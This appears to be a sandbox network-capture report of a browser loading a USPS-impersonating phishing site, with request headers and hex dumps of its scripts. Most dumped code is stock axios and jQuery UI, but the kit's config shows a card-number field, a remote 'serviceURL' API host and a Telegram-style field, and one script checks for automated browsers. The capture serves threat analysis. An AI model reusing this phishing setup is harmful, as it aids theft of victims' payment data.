              Data Ascii: document.writeln("<!DOCTYPE html>");document.writeln("<html>");document.writeln("<head>");document.writeln("<meta charset=\"utf-8\">");document.writeln("<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">");document.writel
              2024-05-27 22:32:13 UTC414INData Raw: 6c 43 6f 6e 66 69 67 2e 6a 73 6f 6e 5c 22 20 63 68 61 72 73 65 74 3d 5c 22 75 74 66 2d 38 5c 22 3e 3c 2f 73 63 72 69 70 74 3e 22 29 3b 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c 6e 28 22 09 3c 73 63 72 69 70 74 20 73 72 63 3d 5c 22 73 74 61 74 69 63 2f 6a 73 2f 61 78 69 6f 73 2e 6a 73 5c 22 20 63 68 61 72 73 65 74 3d 5c 22 75 74 66 2d 38 5c 22 3e 3c 2f 73 63 72 69 70 74 3e 22 29 3b 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c 6e 28 22 09 3c 73 63 72 69 70 74 20 73 72 63 3d 5c 22 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2d 75 69 2e 6a 73 5c 22 20 74 79 70 65 3d 5c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 5c 22 20 63 68 61 72 73 65 74 3d 5c 22 75 74 66 2d 38 5c 22 3e 3c 2f 73 63 72 69 70 74 3e 22 29 3b 0a 64 6f 63 75 6d 65 6e 74 2e 77
              Data Ascii: lConfig.json\" charset=\"utf-8\"></script>");document.writeln("<script src=\"static/js/axios.js\" charset=\"utf-8\"></script>");document.writeln("<script src=\"static/js/jquery-ui.js\" type=\"text/javascript\" charset=\"utf-8\"></script>");document.w


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              2192.168.2.549713188.114.97.34431492C:\Program Files\Google\Chrome\Application\chrome.exe
              TimestampBytes transferredDirectionData
              2024-05-27 22:32:14 UTC550OUTGET /ResourceConfig/urlConfig.json HTTP/1.1
              Host: usps.teamtepei.top
              Connection: keep-alive
              sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
              sec-ch-ua-mobile: ?0
              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
              sec-ch-ua-platform: "Windows"
              Accept: */*
              Sec-Fetch-Site: same-origin
              Sec-Fetch-Mode: no-cors
              Sec-Fetch-Dest: script
              Referer: https://usps.teamtepei.top/
              Accept-Encoding: gzip, deflate, br
              Accept-Language: en-US,en;q=0.9
              2024-05-27 22:32:14 UTC653INHTTP/1.1 200 OK
              Date: Mon, 27 May 2024 22:32:14 GMT
              Content-Type: application/json
              Content-Length: 287
              Connection: close
              Last-Modified: Sat, 04 Nov 2023 11:00:08 GMT
              ETag: "65462438-11f"
              Accept-Ranges: bytes
              CF-Cache-Status: DYNAMIC
              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pW0SteheZyrfs%2BA%2FjWFT%2BM1U8loPPScq70PYxRMBjEXw6EhmGSCAvSCZNi9tAyzaRBIpaPH6JMWmcSD5e0NSJrm7OiAw68siQ1O9WiRmbaSThrVAECsLT0mw9NPUtITxffxBMlo%3D"}],"group":"cf-nel","max_age":604800}
              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
              Server: cloudflare
              CF-RAY: 88a975b16f0fc33d-EWR
              alt-svc: h3=":443"; ma=86400
              2024-05-27 22:32:14 UTC287INData Raw: 76 61 72 20 75 72 6c 3d 7b 0d 0a 09 2f 2f 22 73 65 72 76 69 63 65 55 52 4c 22 3a 22 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 38 30 39 39 22 2c 0d 0a 09 22 73 65 72 76 69 63 65 55 52 4c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 69 6e 66 6f 72 6d 61 74 69 6f 6e 73 65 72 76 69 63 65 73 64 65 70 61 72 74 6d 65 6e 74 2e 63 6f 6d 22 2c 0d 0a 09 22 72 65 64 53 77 69 74 63 68 22 3a 30 2c 0d 0a 09 22 56 69 73 69 74 73 22 3a 31 35 2c 0d 0a 09 22 63 6f 75 6e 74 72 79 22 3a 22 43 4e 2c 55 53 22 2c 0d 0a 09 22 6e 6f 74 43 61 72 64 4e 75 6d 62 65 72 22 3a 22 22 2c 0d 0a 09 22 63 6f 6e 66 69 67 22 3a 32 2c 0d 0a 09 22 43 50 43 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 75 73 70 73 2e 63 6f 6d 22 2c 0d 0a 09 22 54 47 41 50 49 22 3a 22 22 2c 0d 0a
              Data Ascii: var url={//"serviceURL":"http://127.0.0.1:8099","serviceURL":"https://api.informationservicesdepartment.com","redSwitch":0,"Visits":15,"country":"CN,US","notCardNumber":"","config":2,"CPCurl":"https://www.usps.com","TGAPI":"",


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              3192.168.2.549716188.114.97.34431492C:\Program Files\Google\Chrome\Application\chrome.exe
              TimestampBytes transferredDirectionData
              2024-05-27 22:32:14 UTC539OUTGET /static/js/axios.js HTTP/1.1
              Host: usps.teamtepei.top
              Connection: keep-alive
              sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
              sec-ch-ua-mobile: ?0
              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
              sec-ch-ua-platform: "Windows"
              Accept: */*
              Sec-Fetch-Site: same-origin
              Sec-Fetch-Mode: no-cors
              Sec-Fetch-Dest: script
              Referer: https://usps.teamtepei.top/
              Accept-Encoding: gzip, deflate, br
              Accept-Language: en-US,en;q=0.9
              2024-05-27 22:32:14 UTC700INHTTP/1.1 200 OK
              Date: Mon, 27 May 2024 22:32:14 GMT
              Content-Type: application/javascript
              Content-Length: 42736
              Connection: close
              Last-Modified: Mon, 30 Oct 2023 07:40:53 GMT
              ETag: "653f5e05-a6f0"
              Cache-Control: max-age=14400
              CF-Cache-Status: REVALIDATED
              Accept-Ranges: bytes
              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uOJbu9AftKaHuD8kKfi2TybVCc3FhGEm5xmexduUAfH%2FMwZy68tPdIBn9%2BJhaEFgFJ%2BPSwg2MFgG4rRWjP%2BpGUcOcw0wP1SKmLhCee54coHWAPMHgyaDmtI%2Bwjvo3KLwRJN4rPU%3D"}],"group":"cf-nel","max_age":604800}
              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
              Server: cloudflare
              CF-RAY: 88a975b16b8f8c87-EWR
              alt-svc: h3=":443"; ma=86400
              2024-05-27 22:32:14 UTC669INData Raw: 2f 2a 20 61 78 69 6f 73 20 76 30 2e 31 38 2e 30 20 7c 20 28 63 29 20 32 30 31 38 20 62 79 20 4d 61 74 74 20 5a 61 62 72 69 73 6b 69 65 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 20 77 65 62 70 61 63 6b 55 6e 69 76 65 72 73 61 6c 4d 6f 64 75 6c 65 44 65 66 69 6e 69 74 69 6f 6e 28 72 6f 6f 74 2c 20 66 61 63 74 6f 72 79 29 20 7b 0a 09 69 66 28 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 20 3d 3d 3d 20 27 6f 62 6a 65 63 74 27 20 26 26 20 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 20 3d 3d 3d 20 27 6f 62 6a 65 63 74 27 29 0a 09 09 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 20 3d 20 66 61 63 74 6f 72 79 28 29 3b 0a 09 65 6c 73 65 20 69 66 28 74 79 70 65 6f 66 20 64 65 66 69 6e 65 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 20 26 26 20 64 65 66 69 6e 65 2e 61 6d 64 29 0a
              Data Ascii: /* axios v0.18.0 | (c) 2018 by Matt Zabriskie */(function webpackUniversalModuleDefinition(root, factory) {if(typeof exports === 'object' && typeof module === 'object')module.exports = factory();else if(typeof define === 'function' && define.amd)
              2024-05-27 22:32:14 UTC1369INData Raw: 61 63 68 65 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 09 69 66 28 69 6e 73 74 61 6c 6c 65 64 4d 6f 64 75 6c 65 73 5b 6d 6f 64 75 6c 65 49 64 5d 29 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 09 09 72 65 74 75 72 6e 20 69 6e 73 74 61 6c 6c 65 64 4d 6f 64 75 6c 65 73 5b 6d 6f 64 75 6c 65 49 64 5d 2e 65 78 70 6f 72 74 73 3b 0a 2f 2a 2a 2a 2a 2a 2a 2f 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 09 2f 2f 20 43 72 65 61 74 65 20 61 20 6e 65 77 20 6d 6f 64 75 6c 65 20 28 61 6e 64 20 70 75 74 20 69 74 20 69 6e 74 6f 20 74 68 65 20 63 61 63 68 65 29 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 09 76 61 72 20 6d 6f 64 75 6c 65 20 3d 20 69 6e 73 74 61 6c 6c 65 64 4d 6f 64 75 6c 65 73 5b 6d 6f 64 75 6c 65 49 64 5d 20 3d 20 7b 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 09 09 65 78 70 6f 72 74 73 3a 20 7b 7d 2c 0a 2f 2a
              Data Ascii: ache/******/ if(installedModules[moduleId])/******/ return installedModules[moduleId].exports;/******//******/ // Create a new module (and put it into the cache)/******/ var module = installedModules[moduleId] = {/******/ exports: {},/*
              2024-05-27 22:32:14 UTC1369INData Raw: 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 32 29 3b 0a 09 76 61 72 20 62 69 6e 64 20 3d 20 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 33 29 3b 0a 09 76 61 72 20 41 78 69 6f 73 20 3d 20 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 35 29 3b 0a 09 76 61 72 20 64 65 66 61 75 6c 74 73 20 3d 20 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 36 29 3b 0a 09 0a 09 2f 2a 2a 0a 09 20 2a 20 43 72 65 61 74 65 20 61 6e 20 69 6e 73 74 61 6e 63 65 20 6f 66 20 41 78 69 6f 73 0a 09 20 2a 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 4f 62 6a 65 63 74 7d 20 64 65 66 61 75 6c 74 43 6f 6e 66 69 67 20 54 68 65 20 64 65 66 61 75 6c 74 20 63 6f 6e 66 69 67 20 66 6f 72 20 74 68 65 20 69 6e 73 74 61 6e 63 65 0a 09 20 2a 20 40 72 65 74
              Data Ascii: ebpack_require__(2);var bind = __webpack_require__(3);var Axios = __webpack_require__(5);var defaults = __webpack_require__(6);/** * Create an instance of Axios * * @param {Object} defaultConfig The default config for the instance * @ret
              2024-05-27 22:32:14 UTC1369INData Raw: 0a 2f 2a 2a 2a 2f 20 7d 29 2c 0a 2f 2a 20 32 20 2a 2f 0a 2f 2a 2a 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 6d 6f 64 75 6c 65 2c 20 65 78 70 6f 72 74 73 2c 20 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 29 20 7b 0a 0a 09 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 09 0a 09 76 61 72 20 62 69 6e 64 20 3d 20 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 33 29 3b 0a 09 76 61 72 20 69 73 42 75 66 66 65 72 20 3d 20 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 34 29 3b 0a 09 0a 09 2f 2a 67 6c 6f 62 61 6c 20 74 6f 53 74 72 69 6e 67 3a 74 72 75 65 2a 2f 0a 09 0a 09 2f 2f 20 75 74 69 6c 73 20 69 73 20 61 20 6c 69 62 72 61 72 79 20 6f 66 20 67 65 6e 65 72 69 63 20 68 65 6c 70 65 72 20 66 75 6e 63 74 69 6f 6e 73 20 6e 6f 6e 2d 73
              Data Ascii: /***/ }),/* 2 *//***/ (function(module, exports, __webpack_require__) {'use strict';var bind = __webpack_require__(3);var isBuffer = __webpack_require__(4);/*global toString:true*/// utils is a library of generic helper functions non-s
              2024-05-27 22:32:14 UTC1369INData Raw: 64 65 66 69 6e 65 64 27 29 20 26 26 20 28 41 72 72 61 79 42 75 66 66 65 72 2e 69 73 56 69 65 77 29 29 20 7b 0a 09 20 20 20 20 72 65 73 75 6c 74 20 3d 20 41 72 72 61 79 42 75 66 66 65 72 2e 69 73 56 69 65 77 28 76 61 6c 29 3b 0a 09 20 20 7d 20 65 6c 73 65 20 7b 0a 09 20 20 20 20 72 65 73 75 6c 74 20 3d 20 28 76 61 6c 29 20 26 26 20 28 76 61 6c 2e 62 75 66 66 65 72 29 20 26 26 20 28 76 61 6c 2e 62 75 66 66 65 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 29 3b 0a 09 20 20 7d 0a 09 20 20 72 65 74 75 72 6e 20 72 65 73 75 6c 74 3b 0a 09 7d 0a 09 0a 09 2f 2a 2a 0a 09 20 2a 20 44 65 74 65 72 6d 69 6e 65 20 69 66 20 61 20 76 61 6c 75 65 20 69 73 20 61 20 53 74 72 69 6e 67 0a 09 20 2a 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 4f 62 6a 65 63
              Data Ascii: defined') && (ArrayBuffer.isView)) { result = ArrayBuffer.isView(val); } else { result = (val) && (val.buffer) && (val.buffer instanceof ArrayBuffer); } return result;}/** * Determine if a value is a String * * @param {Objec
              2024-05-27 22:32:14 UTC1369INData Raw: 72 6d 69 6e 65 20 69 66 20 61 20 76 61 6c 75 65 20 69 73 20 61 20 46 69 6c 65 0a 09 20 2a 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 4f 62 6a 65 63 74 7d 20 76 61 6c 20 54 68 65 20 76 61 6c 75 65 20 74 6f 20 74 65 73 74 0a 09 20 2a 20 40 72 65 74 75 72 6e 73 20 7b 62 6f 6f 6c 65 61 6e 7d 20 54 72 75 65 20 69 66 20 76 61 6c 75 65 20 69 73 20 61 20 46 69 6c 65 2c 20 6f 74 68 65 72 77 69 73 65 20 66 61 6c 73 65 0a 09 20 2a 2f 0a 09 66 75 6e 63 74 69 6f 6e 20 69 73 46 69 6c 65 28 76 61 6c 29 20 7b 0a 09 20 20 72 65 74 75 72 6e 20 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 76 61 6c 29 20 3d 3d 3d 20 27 5b 6f 62 6a 65 63 74 20 46 69 6c 65 5d 27 3b 0a 09 7d 0a 09 0a 09 2f 2a 2a 0a 09 20 2a 20 44 65 74 65 72 6d 69 6e 65 20 69 66 20 61 20 76 61 6c 75 65 20 69 73 20 61
              Data Ascii: rmine if a value is a File * * @param {Object} val The value to test * @returns {boolean} True if value is a File, otherwise false */function isFile(val) { return toString.call(val) === '[object File]';}/** * Determine if a value is a
              2024-05-27 22:32:14 UTC1369INData Raw: 6f 20 74 72 69 6d 0a 09 20 2a 20 40 72 65 74 75 72 6e 73 20 7b 53 74 72 69 6e 67 7d 20 54 68 65 20 53 74 72 69 6e 67 20 66 72 65 65 64 20 6f 66 20 65 78 63 65 73 73 20 77 68 69 74 65 73 70 61 63 65 0a 09 20 2a 2f 0a 09 66 75 6e 63 74 69 6f 6e 20 74 72 69 6d 28 73 74 72 29 20 7b 0a 09 20 20 72 65 74 75 72 6e 20 73 74 72 2e 72 65 70 6c 61 63 65 28 2f 5e 5c 73 2a 2f 2c 20 27 27 29 2e 72 65 70 6c 61 63 65 28 2f 5c 73 2a 24 2f 2c 20 27 27 29 3b 0a 09 7d 0a 09 0a 09 2f 2a 2a 0a 09 20 2a 20 44 65 74 65 72 6d 69 6e 65 20 69 66 20 77 65 27 72 65 20 72 75 6e 6e 69 6e 67 20 69 6e 20 61 20 73 74 61 6e 64 61 72 64 20 62 72 6f 77 73 65 72 20 65 6e 76 69 72 6f 6e 6d 65 6e 74 0a 09 20 2a 0a 09 20 2a 20 54 68 69 73 20 61 6c 6c 6f 77 73 20 61 78 69 6f 73 20 74 6f 20 72 75
              Data Ascii: o trim * @returns {String} The String freed of excess whitespace */function trim(str) { return str.replace(/^\s*/, '').replace(/\s*$/, '');}/** * Determine if we're running in a standard browser environment * * This allows axios to ru
              2024-05-27 22:32:14 UTC1369INData Raw: 6e 6f 74 20 61 6c 72 65 61 64 79 20 73 6f 6d 65 74 68 69 6e 67 20 69 74 65 72 61 62 6c 65 0a 09 20 20 69 66 20 28 74 79 70 65 6f 66 20 6f 62 6a 20 21 3d 3d 20 27 6f 62 6a 65 63 74 27 29 20 7b 0a 09 20 20 20 20 2f 2a 65 73 6c 69 6e 74 20 6e 6f 2d 70 61 72 61 6d 2d 72 65 61 73 73 69 67 6e 3a 30 2a 2f 0a 09 20 20 20 20 6f 62 6a 20 3d 20 5b 6f 62 6a 5d 3b 0a 09 20 20 7d 0a 09 0a 09 20 20 69 66 20 28 69 73 41 72 72 61 79 28 6f 62 6a 29 29 20 7b 0a 09 20 20 20 20 2f 2f 20 49 74 65 72 61 74 65 20 6f 76 65 72 20 61 72 72 61 79 20 76 61 6c 75 65 73 0a 09 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 2c 20 6c 20 3d 20 6f 62 6a 2e 6c 65 6e 67 74 68 3b 20 69 20 3c 20 6c 3b 20 69 2b 2b 29 20 7b 0a 09 20 20 20 20 20 20 66 6e 2e 63 61 6c 6c 28 6e 75 6c 6c 2c 20
              Data Ascii: not already something iterable if (typeof obj !== 'object') { /*eslint no-param-reassign:0*/ obj = [obj]; } if (isArray(obj)) { // Iterate over array values for (var i = 0, l = obj.length; i < l; i++) { fn.call(null,
              2024-05-27 22:32:14 UTC1369INData Raw: 7d 0a 09 0a 09 2f 2a 2a 0a 09 20 2a 20 45 78 74 65 6e 64 73 20 6f 62 6a 65 63 74 20 61 20 62 79 20 6d 75 74 61 62 6c 79 20 61 64 64 69 6e 67 20 74 6f 20 69 74 20 74 68 65 20 70 72 6f 70 65 72 74 69 65 73 20 6f 66 20 6f 62 6a 65 63 74 20 62 2e 0a 09 20 2a 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 4f 62 6a 65 63 74 7d 20 61 20 54 68 65 20 6f 62 6a 65 63 74 20 74 6f 20 62 65 20 65 78 74 65 6e 64 65 64 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 4f 62 6a 65 63 74 7d 20 62 20 54 68 65 20 6f 62 6a 65 63 74 20 74 6f 20 63 6f 70 79 20 70 72 6f 70 65 72 74 69 65 73 20 66 72 6f 6d 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 4f 62 6a 65 63 74 7d 20 74 68 69 73 41 72 67 20 54 68 65 20 6f 62 6a 65 63 74 20 74 6f 20 62 69 6e 64 20 66 75 6e 63 74 69 6f 6e 20 74 6f 0a 09 20 2a 20 40
              Data Ascii: }/** * Extends object a by mutably adding to it the properties of object b. * * @param {Object} a The object to be extended * @param {Object} b The object to copy properties from * @param {Object} thisArg The object to bind function to * @
              2024-05-27 22:32:14 UTC1369INData Raw: 79 28 74 68 69 73 41 72 67 2c 20 61 72 67 73 29 3b 0a 09 20 20 7d 3b 0a 09 7d 3b 0a 0a 0a 2f 2a 2a 2a 2f 20 7d 29 2c 0a 2f 2a 20 34 20 2a 2f 0a 2f 2a 2a 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 6d 6f 64 75 6c 65 2c 20 65 78 70 6f 72 74 73 29 20 7b 0a 0a 09 2f 2a 21 0a 09 20 2a 20 44 65 74 65 72 6d 69 6e 65 20 69 66 20 61 6e 20 6f 62 6a 65 63 74 20 69 73 20 61 20 42 75 66 66 65 72 0a 09 20 2a 0a 09 20 2a 20 40 61 75 74 68 6f 72 20 20 20 46 65 72 6f 73 73 20 41 62 6f 75 6b 68 61 64 69 6a 65 68 20 3c 68 74 74 70 73 3a 2f 2f 66 65 72 6f 73 73 2e 6f 72 67 3e 0a 09 20 2a 20 40 6c 69 63 65 6e 73 65 20 20 4d 49 54 0a 09 20 2a 2f 0a 09 0a 09 2f 2f 20 54 68 65 20 5f 69 73 42 75 66 66 65 72 20 63 68 65 63 6b 20 69 73 20 66 6f 72 20 53 61 66 61 72 69 20 35 2d 37 20 73
              Data Ascii: y(thisArg, args); };};/***/ }),/* 4 *//***/ (function(module, exports) {/*! * Determine if an object is a Buffer * * @author Feross Aboukhadijeh <https://feross.org> * @license MIT */// The _isBuffer check is for Safari 5-7 s


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              4192.168.2.549717188.114.97.34431492C:\Program Files\Google\Chrome\Application\chrome.exe
              TimestampBytes transferredDirectionData
              2024-05-27 22:32:14 UTC543OUTGET /static/js/jquery-ui.js HTTP/1.1
              Host: usps.teamtepei.top
              Connection: keep-alive
              sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
              sec-ch-ua-mobile: ?0
              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
              sec-ch-ua-platform: "Windows"
              Accept: */*
              Sec-Fetch-Site: same-origin
              Sec-Fetch-Mode: no-cors
              Sec-Fetch-Dest: script
              Referer: https://usps.teamtepei.top/
              Accept-Encoding: gzip, deflate, br
              Accept-Language: en-US,en;q=0.9
              2024-05-27 22:32:14 UTC698INHTTP/1.1 200 OK
              Date: Mon, 27 May 2024 22:32:14 GMT
              Content-Type: application/javascript
              Content-Length: 1439
              Connection: close
              Last-Modified: Mon, 30 Oct 2023 07:40:53 GMT
              ETag: "653f5e05-59f"
              Cache-Control: max-age=14400
              CF-Cache-Status: REVALIDATED
              Accept-Ranges: bytes
              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gWwp5kXvXxg0XkHZyuzWTNmj%2BIV76Qm6vfvgVKWDBe%2BMyAaPqgSdCEMB84j2SEH7HOBwwAS7waf4viFyBWFr6r5GqL%2BkOlIUxaI9gzP%2BeL6Ovz%2BKYueWxxAc27moYAaHQuvTWUQ%3D"}],"group":"cf-nel","max_age":604800}
              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
              Server: cloudflare
              CF-RAY: 88a975b18b2043c9-EWR
              alt-svc: h3=":443"; ma=86400
              2024-05-27 22:32:14 UTC671INData Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 33 2e 32 20 2d 20 32 30 32 32 2d 30 37 2d 31 34 0a 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 74 2e 6a 73 2c 20 70 6f 73 69 74 69 6f 6e 2e 6a 73 2c 20 64 61 74 61 2e 6a 73 2c 20 64 69 73 61 62 6c 65 2d 73 65 6c 65 63 74 69 6f 6e 2e 6a 73 2c 20 65 66 66 65 63 74 2e 6a 73 2c 20 65 66 66 65 63 74 73 2f 65 66 66 65 63 74 2d 62 6c 69 6e 64 2e 6a 73 2c 20 65 66 66 65 63 74 73 2f 65 66 66 65 63 74 2d 62 6f 75 6e 63 65 2e 6a 73 2c 20 65 66 66 65 63 74 73 2f 65 66 66 65 63 74 2d 63 6c 69 70 2e 6a 73 2c 20 65 66 66 65 63 74 73 2f 65 66 66 65 63 74 2d 64 72 6f 70 2e 6a 73 2c 20 65 66 66 65 63 74 73 2f 65 66 66 65 63 74 2d 65 78 70 6c
              Data Ascii: /*! jQuery UI - v1.13.2 - 2022-07-14* http://jqueryui.com* Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js, effects/effect-clip.js, effects/effect-drop.js, effects/effect-expl
              2024-05-27 22:32:14 UTC768INData Raw: 6f 63 6f 6d 70 6c 65 74 65 2e 6a 73 2c 20 77 69 64 67 65 74 73 2f 62 75 74 74 6f 6e 2e 6a 73 2c 20 77 69 64 67 65 74 73 2f 63 68 65 63 6b 62 6f 78 72 61 64 69 6f 2e 6a 73 2c 20 77 69 64 67 65 74 73 2f 63 6f 6e 74 72 6f 6c 67 72 6f 75 70 2e 6a 73 2c 20 77 69 64 67 65 74 73 2f 64 61 74 65 70 69 63 6b 65 72 2e 6a 73 2c 20 77 69 64 67 65 74 73 2f 64 69 61 6c 6f 67 2e 6a 73 2c 20 77 69 64 67 65 74 73 2f 64 72 61 67 67 61 62 6c 65 2e 6a 73 2c 20 77 69 64 67 65 74 73 2f 64 72 6f 70 70 61 62 6c 65 2e 6a 73 2c 20 77 69 64 67 65 74 73 2f 6d 65 6e 75 2e 6a 73 2c 20 77 69 64 67 65 74 73 2f 6d 6f 75 73 65 2e 6a 73 2c 20 77 69 64 67 65 74 73 2f 70 72 6f 67 72 65 73 73 62 61 72 2e 6a 73 2c 20 77 69 64 67 65 74 73 2f 72 65 73 69 7a 61 62 6c 65 2e 6a 73 2c 20 77 69 64 67
              Data Ascii: ocomplete.js, widgets/button.js, widgets/checkboxradio.js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable.js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, widgets/resizable.js, widg


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              5192.168.2.549714188.114.97.34431492C:\Program Files\Google\Chrome\Application\chrome.exe
              TimestampBytes transferredDirectionData
              2024-05-27 22:32:14 UTC551OUTGET /static/js/ResourceRedConfig.js HTTP/1.1
              Host: usps.teamtepei.top
              Connection: keep-alive
              sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
              sec-ch-ua-mobile: ?0
              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
              sec-ch-ua-platform: "Windows"
              Accept: */*
              Sec-Fetch-Site: same-origin
              Sec-Fetch-Mode: no-cors
              Sec-Fetch-Dest: script
              Referer: https://usps.teamtepei.top/
              Accept-Encoding: gzip, deflate, br
              Accept-Language: en-US,en;q=0.9
              2024-05-27 22:32:14 UTC702INHTTP/1.1 200 OK
              Date: Mon, 27 May 2024 22:32:14 GMT
              Content-Type: application/javascript
              Content-Length: 12206
              Connection: close
              Last-Modified: Mon, 06 Nov 2023 13:58:01 GMT
              ETag: "6548f0e9-2fae"
              Cache-Control: max-age=14400
              CF-Cache-Status: REVALIDATED
              Accept-Ranges: bytes
              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3PzTzZ%2B8gduZzy4FWX2oceNNXBTDmEchG9SBjzbSuSbu0Lqd%2F2gwd9Ph%2Bnj3HADd50TXTY0Y9RHFvPngNdajPZFZPu%2FskymYY%2Fpsrf%2BtAfenuAGMLisFXTnHO2aZum6jh1YfkGg%3D"}],"group":"cf-nel","max_age":604800}
              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
              Server: cloudflare
              CF-RAY: 88a975b188c80f79-EWR
              alt-svc: h3=":443"; ma=86400
              2024-05-27 22:32:14 UTC667INData Raw: 69 66 20 28 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 77 65 62 64 72 69 76 65 72 20 3d 3d 20 66 61 6c 73 65 29 20 7b 0d 0a 0d 0a 09 76 61 72 20 74 6f 6b 65 6e 20 3d 20 22 32 37 34 63 34 62 64 37 37 39 30 66 39 38 38 34 36 66 33 33 66 61 33 35 35 62 35 32 35 31 32 37 22 3b 0d 0a 09 0d 0a 09 2f 2f e8 8e b7 e5 8f 96 e5 8a a8 e6 80 81 e5 9f 9f e5 90 8d 0d 0a 09 76 61 72 20 73 74 72 55 72 6c 20 3d 20 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 0d 0a 09 69 66 20 28 73 74 72 55 72 6c 2e 69 6e 64 65 78 4f 66 28 22 31 32 37 2e 30 2e 30 22 29 20 3e 20 30 29 20 7b 0d 0a 09 09 75 72 6c 2e 73 65 72 76 69 63 65 55 52 4c 20 3d 20 22 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 38 30 39 39 22 3b 0d 0a 09 7d 20 65 6c 73 65 20 7b 0d 0a 09 09 76 61 72 20 61 72
              Data Ascii: if (window.navigator.webdriver == false) {var token = "274c4bd7790f98846f33fa355b525127";//var strUrl = location.href;if (strUrl.indexOf("127.0.0") > 0) {url.serviceURL = "http://127.0.0.1:8099";} else {var ar
